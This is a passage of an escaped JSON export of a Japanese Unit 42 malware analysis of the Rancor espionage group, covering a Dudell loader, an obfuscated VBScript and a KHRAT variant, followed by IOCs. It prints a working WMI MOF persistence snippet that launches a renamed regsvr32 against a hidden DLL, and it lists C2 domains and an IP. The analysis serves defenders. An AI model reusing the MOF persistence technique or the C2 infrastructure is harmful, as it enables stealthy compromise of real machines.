3080\u30ed\u30fc\u30c9\u5bfe\u8c61\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u3092\u5fc5\u8981\u3068\u3057\u307e\u3059\u304c\u3001\u6b8b\u5ff5\u306a\u304c\u3089\u3053\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u5165\u624b\u3067\u304d\u3066\u3044\u307e\u305b\u3093\u3002\u3053\u308c\u3089\u5fa9\u53f7\u30ad\u30fc\u3084\u30ed\u30fc\u30c0\u30fc\u306f\u5165\u624b\u3067\u304d\u306a\u304b\u3063\u305f\u3082\u306e\u306e\u3001\u8208\u5473\u6df1\u3044\u30a2\u30fc\u30c6\u30a3\u30d5\u30a1\u30af\u30c8\u306f\u3044\u304f\u3064\u304b\u898b\u3064\u304b\u308a\u307e\u3057\u305f\u3002<\/p>\n<ul>\n<li>\u30b5\u30f3\u30d7\u30eb\u3092\u30ed\u30fc\u30c9\u3059\u308b\u30e2\u30b8\u30e5\u30fc\u30eb\u540d\u304cmyapp.exe\u306a\u3089\u30e2\u30b8\u30e5\u30fc\u30eb\u3092\u7d42\u4e86\u3059\u308b<\/li>\n<li>\u30ed\u30fc\u30c9\u3055\u308c\u305f\u30896\u79d2\u9593\u30b9\u30ea\u30fc\u30d7\u3059\u308b<\/li>\n<li>\\\\.\\pipe\\_kernel32.dll.ntdll.dll.user32.dll\u3068\u3044\u3046\u540d\u524d\u306eWindows\u30d1\u30a4\u30d7\u3092\u63a2\u3059<\/li>\n<li>\\Device\\acpi_010221\u3068\u3044\u3046\u540d\u524d\u306eWindows\u30c7\u30d0\u30a4\u30b9\u3092\u63a2\u3059<\/li>\n<li>\u6b21\u306e\u30ec\u30b8\u30b9\u30c8\u30ea\u30ad\u30fc\u3092\u4f5c\u6210\u3059\u308b\n<ul>\n<li>HKEY_CLASSES_ROOT\\CDO.SS_NNTPOnPostEarlySink.2<\/li>\n<li>IDX\u3001Ver\u3068\u3044\u30462\u3064\u306eDWORD\u5024\n<ul>\n<li>\u6697\u53f7\u5316\u30c7\u30fc\u30bf\u3092\u3053\u308c\u3089\u306e\u30ad\u30fc\u306b\u4fdd\u5b58\u3059\u308b<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<li>\u57cb\u3081\u8fbc\u307e\u308c\u305f\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u5fa9\u53f7\u3059\u308b\u6697\u53f7\u5316\u30eb\u30fc\u30c1\u30f3\u306fMS_ENH_RSA_AES_PROV<\/li>\n<\/ul>\n<h4>Rancor\u306eVBScript<\/h4>\n<p>2019\u5e747\u6708\u3001\u79c1\u305f\u3061\u306fRancor\u30b0\u30eb\u30fc\u30d7\u306b\u95a2\u9023\u4ed8\u3051\u3089\u308c\u308bChrome.vbs\uff08SHA256\uff1a0C3D4DFA566F3064A8A408D3E1097C454662860BCACFB6675D2B72739CE449C2\uff09\u3068\u3044\u3046\u540d\u524d\u306e\u8208\u5473\u6df1\u3044VBScript\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u7279\u5b9aVBScript\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001bafunpda[.]xyz\u3068\u3044\u3046\u30c9\u30e1\u30a4\u30f3\u3078\u30d3\u30fc\u30b3\u30f3\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002\u3053\u306e\u30c9\u30e1\u30a4\u30f3\u306f\u3001\u4e0a\u8a18\u88682\u306b\u8a18\u8f09\u3057\u305f\u30c8\u30ed\u30a4\u306e\u6728\u99acKHRAT\u3067\u3082\u4f7f\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306eVBScript\u306f\u96e3\u8aad\u5316\u3055\u308c\u3066\u304a\u308a\u3001\u4e00\u9023\u306e\u6c38\u7d9a\u7684\u30a2\u30fc\u30c6\u30a3\u30d5\u30a1\u30af\u30c8\u3092\u4f7f\u3063\u3066\u30bf\u30fc\u30b2\u30c3\u30c8\u3092\u611f\u67d3\u3055\u305b\u308b\u305f\u3081\u306e\u30d1\u30c3\u30af\u3055\u308c\u305f\u30c7\u30fc\u30bf\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002VBScript\u304c\u5b9f\u884c\u3055\u308c\u305f\u3068\u304d\u306e\u632f\u308b\u821e\u3044\u3092\u6b21\u306e\u56f3\u306b\u793a\u3057\u307e\u3059\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-102385 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/12\/word-image-188.png\" alt=\"\" width=\"714\" height=\"851\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-188.png 714w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-188-252x300.png 252w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-188-370x441.png 370w\" sizes=\"(max-width: 714px) 100vw, 714px\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\"><em>\u56f32 VBScript\u306e\u5b9f\u884c\u30d5\u30ed\u30fc<\/em><\/span><\/p>\n<p>\u56f32\u306f\u3001VBScript\u304c\u30db\u30b9\u30c8\u3067\u5b9f\u884c\u3055\u308c\u305f\u3055\u3044\u306e\u30d5\u30ed\u30fc\u3092\u8996\u899a\u7684\u306b\u8868\u73fe\u3057\u305f\u3082\u306e\u3067\u3001\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u6b21\u306e\u30a2\u30af\u30b7\u30e7\u30f3\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n<ol>\n<li>regsvr32.exe \u3092%windir%\\syswow64\u304b\u3089%windir%\\spoolsw.exe\u3068\u3044\u3046\u540d\u524d\u3067\u30b3\u30d4\u30fc\u3059\u308b<\/li>\n<li>vdfjgklffsdfmv.txt\u3068\u3044\u3046\u540d\u524d\u306e\u30c6\u30ad\u30b9\u30c8\u30d5\u30a1\u30a4\u30eb\u3092\u30db\u30b9\u30c8\u306e%TMP%\u30d5\u30a9\u30eb\u30c0\u306b\u4f5c\u6210\u3059\u308b\u3002\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306f\u30c6\u30ad\u30b9\u30c8\u30d5\u30a1\u30a4\u30eb\u3067\u306f\u306a\u304fWindows Management Object \u30d5\u30a1\u30a4\u30eb(MOF)<\/li>\n<li>Windows mofcomp.exe\u3092\u5b9f\u884c\u3057\u3001\u305d\u308c\u306b\u4e0a\u8a18\u3067\u4f5c\u6210\u3055\u308c\u305fMOF\u30d5\u30a1\u30a4\u30eb\u3092\u6e21\u3059<\/li>\n<li>classes\u3001media\u3068\u3044\u30462\u3064\u306e\u30ec\u30b8\u30b9\u30c8\u30ea\u30ad\u30fc\u306b\u30c7\u30fc\u30bf\u3092\u8ffd\u52a0\u3059\u308b\u3002\u30c7\u30fc\u30bf\u306f\u30c7\u30d5\u30a9\u30eb\u30c8\u306e\u30ad\u30fc\u306b\u4fdd\u5b58\u3055\u308c\u308b<\/li>\n<li>\u4e0a\u8a18\u3067\u4f5c\u6210\u3057\u305f\u30ec\u30b8\u30b9\u30c8\u30ea\u30ad\u30fcclasses\u304b\u3089\u30c7\u30fc\u30bf\u306eblob\u3092\u8aad\u307f\u53d6\u308a\u3001\u30c7\u30fc\u30bf\u3092\u30d5\u30a1\u30a4\u30eb%windir%\\pla.dat\u306b\u4fdd\u5b58\u3059\u308b<\/li>\n<\/ol>\n<p>VBScript\u306b\u3088\u3063\u3066\u4f5c\u6210\u3055\u308c\u305fMOF\u30d5\u30a1\u30a4\u30eb\u306f\u3001Windows Management Instrumentation\uff08WMI\uff09\u30a4\u30d9\u30f3\u30c8\u30b5\u30d6\u30b9\u30af\u30ea\u30d7\u30b7\u30e7\u30f3\u3092\u4ecb\u3057\u305f\u6c38\u7d9a\u5316\u30e1\u30ab\u30cb\u30ba\u30e0\u3068\u3057\u3066\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002MOF\u30d5\u30a1\u30a4\u30eb\u306fCommon Information Model\uff08CIM\uff09\u30af\u30e9\u30b9\u3092\u8a18\u8ff0\u3057\u305f\u30b3\u30f3\u30d1\u30a4\u30eb\u6e08\u307f\u30b9\u30af\u30ea\u30d7\u30c8\u3067\u3001\u3053\u308c\u304cWMI\u30ea\u30dd\u30b8\u30c8\u30ea\u3078\u3068\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u624b\u6cd5\u306f<a href=\"https:\/\/attack.mitre.org\/techniques\/T1084\/\">MITRE ATT&amp;CK IDT1084<\/a>\u3067\u8aac\u660e\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u7279\u5b9aMOF\u30d5\u30a1\u30a4\u30eb\u306f\u30015\u79d2\u3054\u3068\u306b\u30c8\u30ea\u30ac\u30fc\u3055\u308c\u308b\u30bf\u30a4\u30de\u30fc\u30a4\u30d9\u30f3\u30c8\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002MOF\u30d5\u30a1\u30a4\u30eb\u306e\u30b9\u30cb\u30da\u30c3\u30c8\u306f\u6b21\u306e\u56f33\u306e\u3068\u304a\u308a\u3067\u3059\u3002<\/p>\n<pre class=\"\">instance of CommandLineEventConsumer as $Cons\r\n{\r\n   Name = \"SCM Event Log Filter\";\r\n   RunInteractively=false;\r\n   CommandLineTemplate=\"c:\\\\windows\\\\spoolsw.exe \/s \/n \/i c:\\\\windows\\\\pla.dat\";\r\n};\r\ninstance of __EventFilter as $Filt\r\n{\r\n   Name = \"SCM Event Log Filter\";\r\n   EventNamespace = \"Root\\\\Cimv2\";\r\n   Query = \"Select * From __InstanceModificationEvent \"\r\n   \"Where TargetInstance Isa \\\"Win32_LocalTime\\\" \"\r\n   \"And TargetInstance.Second = 5\";\r\n   QueryLanguage = \"WQL\";\r\n};\r\n<\/pre>\n<p style=\"text-align: center;\"><em><span style=\"font-size: 10pt;\">\u56f33 MOF\u30d5\u30a1\u30a4\u30eb\u306e\u30b9\u30cb\u30da\u30c3\u30c8<\/span><\/em><\/p>\n<p>\u56f33\u306f\u3001MOF\u30d5\u30a1\u30a4\u30eb\u306e\u4e3b\u306a\u6a5f\u80fd\u3092\u793a\u3057\u305f\u3082\u306e\u3067\u3059\u3002MOF\u30d5\u30a1\u30a4\u30eb\u306f\u300cSCM Event Log Filter\u300d\u3068\u3044\u3046\u4e00\u610f\u306a\u540d\u524d\u3092\u6301\u3061\u3001\/s \/n \/i \u3068\u3044\u3046\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u6307\u5b9a\u3057\u3001\u30d5\u30a1\u30a4\u30ebpla.dat\u3092\u6e21\u3057\u3066spoolsw.exe\u30925\u79d2\u3054\u3068\u306b\u5b9f\u884c\u3057\u307e\u3059\u3002\u5148\u306eVBScript\u306e\u30d5\u30ed\u30fc\u3067\u3082\u8aac\u660e\u3057\u305f\u3068\u304a\u308a\u3001spoolsw.exe\u306f\u5b9f\u969b\u306b\u306f\u30db\u30b9\u30c8\u306eWindows\u30b7\u30b9\u30c6\u30e0\u306eregsvr32.exe\u3067\u3059\u3002regsvr32.exe\u306f\u3001\u30e2\u30b8\u30e5\u30fc\u30eb\uff08DLL\uff09\u3092\u767b\u9332\u3059\u308bWindows\u30c4\u30fc\u30eb\u3067\u3001\u3053\u306e\u30c4\u30fc\u30eb\u306b\u30d1\u30e9\u30e1\u30fc\u30bf\u30fc\u300c\u30e1\u30c3\u30bb\u30fc\u30b8\u30dc\u30c3\u30af\u30b9\u3092\u8868\u793a\u3057\u306a\u3044\u3053\u3068\uff08\/s\uff09\u300d\u3001\u300cDllRegisterServer\u3084DllUnregisterServer \u3092\u547c\u3073\u51fa\u3055\u306a\u3044\u3053\u3068\uff08\/ n\uff09\u300d\u3001\u300cDllInstall \u3092\u547c\u3073\u51fa\u3059\u3053\u3068\uff08\/i\uff09\u300d\u3092\u6e21\u3057\u3066regsvr32\u306b\u6307\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3057\u305f\u304c\u3063\u3066\u30d5\u30a1\u30a4\u30ebpla.dat\u306fDLL\u3067\u3042\u308b\u306f\u305a\u3067\u3059\u3002<\/p>\n<p>VBScript\u306b\u3088\u3063\u3066\u4f5c\u6210\u3055\u308c\u308b\u30ec\u30b8\u30b9\u30c8\u30ea\u5024\u306f\u6b21\u306e\u3068\u304a\u308a\u3067\u3059\u3002<\/p>\n<ol>\n<li>HKEY_CURRENT_USER\\Software\\Classes\n<ul>\n<li>\u3053\u308c\u306b\u306fDLL\u306ex86\u30b3\u30fc\u30c9\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u30020x4\u306e\u6700\u521d\u306e\u30d0\u30a4\u30c8\u304c\u6b20\u3051\u3066\u3044\u307e\u3059\u304c\u3001\u3053\u308c\u306f\u30d5\u30a1\u30a4\u30ebpla.dat\u306e\u4f5c\u6210\u6642\u306bVBScript\u306b\u3088\u3063\u3066\u8ffd\u52a0\u3055\u308c\u307e\u3059\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<h4>HKEY_CURRENT_USER\\Software\\Classes\u306e\u57cb\u3081\u8fbc\u307f\u30ec\u30b8\u30b9\u30c8\u30ea\u30c7\u30fc\u30bf\u306e\u30d5\u30a1\u30a4\u30eb\u30d7\u30ed\u30d1\u30c6\u30a3<\/h4>\n<table>\n<tbody>\n<tr>\n<td><strong>SHA256\u5024<\/strong><\/td>\n<td>DB982B256843D8B6429AF24F766636BB0BF781B471922902D8DCF08D0C58511E<\/td>\n<\/tr>\n<tr>\n<td><strong>\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u305f\u65e5\u6642<\/strong><\/td>\n<td>2018-04-24 10:51:14 PM<\/td>\n<\/tr>\n<tr>\n<td><strong>\u30d5\u30a1\u30a4\u30eb\u30bf\u30a4\u30d7<\/strong><\/td>\n<td>PE32 executable (DLL) Intel 80386, for MS Windows<\/td>\n<\/tr>\n<tr>\n<td><strong>Export Table<\/strong><\/td>\n<td>DllInstall<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><em><span style=\"font-size: 10pt;\">\u88689 Reg Classes\u306e\u57cb\u3081\u8fbc\u307f\u30c7\u30fc\u30bf\u30d7\u30ed\u30d1\u30c6\u30a3<\/span><\/em><\/p>\n<p>\u3053\u306e\u30ec\u30b8\u30b9\u30c8\u30ea\u30ad\u30fc\u306b\u57cb\u3081\u8fbc\u307e\u308c\u305fDLL\u306f\u3001\u30ec\u30b8\u30b9\u30c8\u30eaHKEY_LOCAL_MACHINE\\SOFTWARE\\Clients\\Media\u304b\u3089\u30b3\u30fc\u30c9\u3092\u30ed\u30fc\u30c9\u3059\u308b\u5358\u7d14\u306a\u30ed\u30fc\u30c0\u30fc\u3067\u3059\u3002<\/p>\n<ol>\n<li>HKEY_LOCAL_MACHINE\\SOFTWARE\\Clients\\Media\n<ul>\n<li>DLL\u306ex86\u30b3\u30fc\u30c9\u3068\u30b7\u30a7\u30eb\u30b3\u30fc\u30c9\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u30ec\u30b8\u30b9\u30c8\u30ea\u306b\u4fdd\u5b58\u3055\u308c\u305f\u30c7\u30fc\u30bf\u306f\u30010x9C\u306eXOR\u30ad\u30fc\u3067\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<table>\n<tbody>\n<tr>\n<td>SHA256\u5024<\/td>\n<td>CC081FFEA6F4769733AF9D0BAE0308CA0AE63667FA225E7965DF0884E96E2D2A<\/td>\n<\/tr>\n<tr>\n<td>\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u305f\u65e5\u6642<\/td>\n<td>2018-01-10 09:16:42 PM<\/td>\n<\/tr>\n<tr>\n<td>\u30d5\u30a1\u30a4\u30eb\u30bf\u30a4\u30d7<\/td>\n<td>PE32 executable (DLL) Intel 80386, for MS Windows<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><em><span style=\"font-size: 10pt;\">\u886810 \u30c7\u30b3\u30fc\u30c9\u3055\u308c\u305fmedia \u306eDLL\u30c7\u30fc\u30bf\u306e\u30d7\u30ed\u30d1\u30c6\u30a3<\/span><\/em><\/p>\n<p>media\u30ec\u30b8\u30b9\u30c8\u30ea\u30ad\u30fc\u306eDLL\u306f\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac<a href=\"https:\/\/unit42.paloaltonetworks.com\/unit42-updated-khrat-malware-used-in-cambodia-attacks\/\">KHRAT<\/a>\u306e\u4e9c\u7a2e\u3067\u3059\u3002\u3053\u306e\u4e9c\u7a2e\u306f\u30c9\u30e1\u30a4\u30f3connect.bafunpda[.]xyz\u00a0\u306b\u30d3\u30fc\u30b3\u30f3\u3092\u9001\u4fe1\u3057\u3001TCP\u30dd\u30fc\u30c84433\u3078\u306e\u63a5\u7d9a\u3092\u8a66\u884c\u3057\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u4e0a\u8a18\u88682\u306b\u8a18\u8f09\u3057\u305f\u30c8\u30ed\u30a4\u306e\u6728\u99acKHRAT\u304c\u4f7f\u7528\u3059\u308b\u30c9\u30e1\u30a4\u30f3\u3068\u540c\u3058\u3082\u306e\u3067\u3001\u305d\u306e\u632f\u308b\u821e\u3044\u3082\u540c\u3058\u3067\u3059\u3002<\/p>\n<h2>\u7d50\u8ad6<\/h2>\n<p>\u9045\u304f\u3068\u30822017\u5e74\u306b\u306f\u6d3b\u52d5\u3092\u958b\u59cb\u3057\u3066\u3044\u305f\u30b5\u30a4\u30d0\u30fc\u30b9\u30d1\u30a4\u30b0\u30eb\u30fc\u30d7Rancor\u306f\u3001\u6771\u5357\u30a2\u30b8\u30a2\u3067\u6a19\u7684\u578b\u653b\u6483\u3092\u7d99\u7d9a\u3057\u3066\u3044\u307e\u3059\u3002\u540c\u30b0\u30eb\u30fc\u30d7\u306f\u3001\u6587\u66f8\u5316\u3055\u308c\u305f\u3053\u3068\u306e\u306a\u3044\u30ab\u30b9\u30bf\u30e0\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30eaDudell \u3092\u4f7f\u7528\u3057\u3066\u60aa\u610f\u306e\u3042\u308b\u30de\u30af\u30ed\u3092\u5b9f\u884c\u5f8c\u3001\u7b2c2\u30b9\u30c6\u30fc\u30b8\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u78ba\u8a8d\u3055\u308c\u3066\u3044\u307e\u3059\u3002 \u3053\u306e\u307b\u304b\u540c\u30b0\u30eb\u30fc\u30d7\u306f\u3001\u6a19\u7684\u74b0\u5883\u3078\u306e\u4fb5\u5165\u5f8c\u3001Derusbi\u3068\u3044\u3046\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u3092\u4f7f\u3063\u30662\u6bb5\u968e\u76ee\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30ed\u30fc\u30c9\u3057\u3066\u3044\u308b\u3053\u3068\u3082\u78ba\u8a8d\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u88fd\u54c1\u3092\u3054\u5229\u7528\u4e2d\u306e\u304a\u5ba2\u69d8\u306f\u3001\u540c\u8105\u5a01\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u5f0a\u793e\u306e Threat Prevention \u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u3067\u306f\u3001 Wildfire \u304c\u3053\u308c\u3089\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u3092\u691c\u51fa\u3057\u307e\u3059\u3002\u3053\u306e\u691c\u51fa\u3068\u4e26\u884c\u3057\u3001\u4fb5\u5bb3\u304c\u78ba\u8a8d\u3055\u308c\u305f\u30c9\u30e1\u30a4\u30f3\u306f<a href=\"https:\/\/www.paloaltonetworks.com\/products\/threat-detection-and-prevention\/web-security\">PAN-DB\u306eURL\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3<\/a>\u00a0\u5185\u3067\u300cmalware\u300d\u306b\u5206\u985e\u304c\u66f4\u65b0\u3055\u308c\u307e\u3059\u3002AutoFocus \u3092\u304a\u4f7f\u3044\u306e\u304a\u5ba2\u69d8\u306f\u3001\u5f53\u8a72\u653b\u6483\u8005\u30b0\u30eb\u30fc\u30d7\u3092\u6b21\u306e\u30bf\u30b0\u3067\u3055\u3089\u306b\u8a73\u3057\u304f\u8abf\u67fb\u3067\u304d\u307e\u3059\u3002<\/p>\n<ul>\n<li><a href=\"https:\/\/autofocus.paloaltonetworks.com\/#\/tag\/Unit42.RANCOR\">Rancor<\/a><\/li>\n<li><a href=\"https:\/\/autofocus.paloaltonetworks.com\/#\/tag\/Unit42.PLAINTEE\">PLAINTEE<\/a><\/li>\n<li><a href=\"https:\/\/autofocus.paloaltonetworks.com\/#\/tag\/Unit42.DUDELL\">DUDELL<\/a><\/li>\n<li><a href=\"https:\/\/autofocus.paloaltonetworks.com\/#\/tag\/Unit42.Derusbi\">Derusbi<\/a><\/li>\n<\/ul>\n<h2>IOC<\/h2>\n<h3>SHA256:<\/h3>\n<ul>\n<li>0EB1D6541688B5C87F620E76219EC5DB8A6F05732E028A9EC36195D7B4F5E707<\/li>\n<li>AAEBF987B8D80D71313C3C0F2C16D60874FFECBDDA3BB6B44D6CBA6D38031609<\/li>\n<li>0D61D9BAAB9927BB484F3E60384FDB6A3709CA74BC6175AB16B220A68F2B349E<\/li>\n<li>DB982B256843D8B6429AF24F766636BB0BF781B471922902D8DCF08D0C58511E<\/li>\n<li>CC081FFEA6F4769733AF9D0BAE0308CA0AE63667FA225E7965DF0884E96E2D2A<\/li>\n<li>BC1C3E754BE9F2175B718ABA62174A550CDC3D98AB9C36671A58073140381659<\/li>\n<li>83d1d181a6d583bca2f03c3c4e517757a766da5f4c1299fbbe514b3e2abd9e0d<\/li>\n<\/ul>\n<h3>C2\u30b5\u30fc\u30d0\u30fc<\/h3>\n<ul>\n<li>cswksfwq.kfesv[.]xyz<\/li>\n<li>Connect.bafunpda[.]xyz<\/li>\n<li>199.247.6[.]253<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\u6982\u8981 2018\u5e746\u6708\u4e0b\u65ec\u3001\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u8105\u5a01\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9\u8abf\u67fb\u30c1\u30fc\u30e0Unit 42\u306f\u3001\u305d\u308c\u307e\u3067\u77e5\u3089\u308c\u3066\u3044\u306a\u304b\u3063\u305f\u30b5\u30a4\u30d0\u30fc\u30b9\u30d1\u30a4\u30b0\u30eb\u30fc\u30d7Rancor\u306b\u95a2\u3059\u308b\u8a18\u4e8b\u3092\u516c\u958b\u3057\u307e\u3057\u305f\u3002\u540c\u30b0\u30eb\u30fc\u30d7\u306f\u30012017\u5e74\u304b\u3089201<\/p>\n","protected":false},"author":51,"featured_media":102381,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[4322,1974,4431,4428],"tags":[6473,4503,6475,6477,6479,6480,4621],"product_categories":[4441,4346,4442,4444,4456],"coauthors":[105,831],"class_list":["post-102380","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-threat-actor-groups","category-malware-ja","category-threat-actor-groups-ja","category-threat-research-ja","tag-asia-ja","tag-china-ja","tag-cyber-espionage-ja","tag-derusbi-ja","tag-dudell-ja","tag-rancor","tag-remote-access-trojan-ja","product_categories-advanced-dns-security-ja","product_categories-advanced-threat-prevention","product_categories-advanced-threat-prevention-ja","product_categories-advanced-wildfire-ja","product_categories-next-generation-firewall-ja"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.0 (Yoast SEO v27.0) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>\u30b5\u30a4\u30d0\u30fc\u30b9\u30d1\u30a4\u30b0\u30eb\u30fc\u30d7Rancor\u304c\u65b0\u3057\u3044\u30ab\u30b9\u30bf\u30e0\u30de\u30eb\u30a6\u30a7\u30a2\u3067\u6771\u5357\u30a2\u30b8\u30a2\u3078\u306e\u6a19\u7684\u578b\u653b\u6483\u3092\u7d99\u7d9a<\/title>\n<meta name=\"description\" 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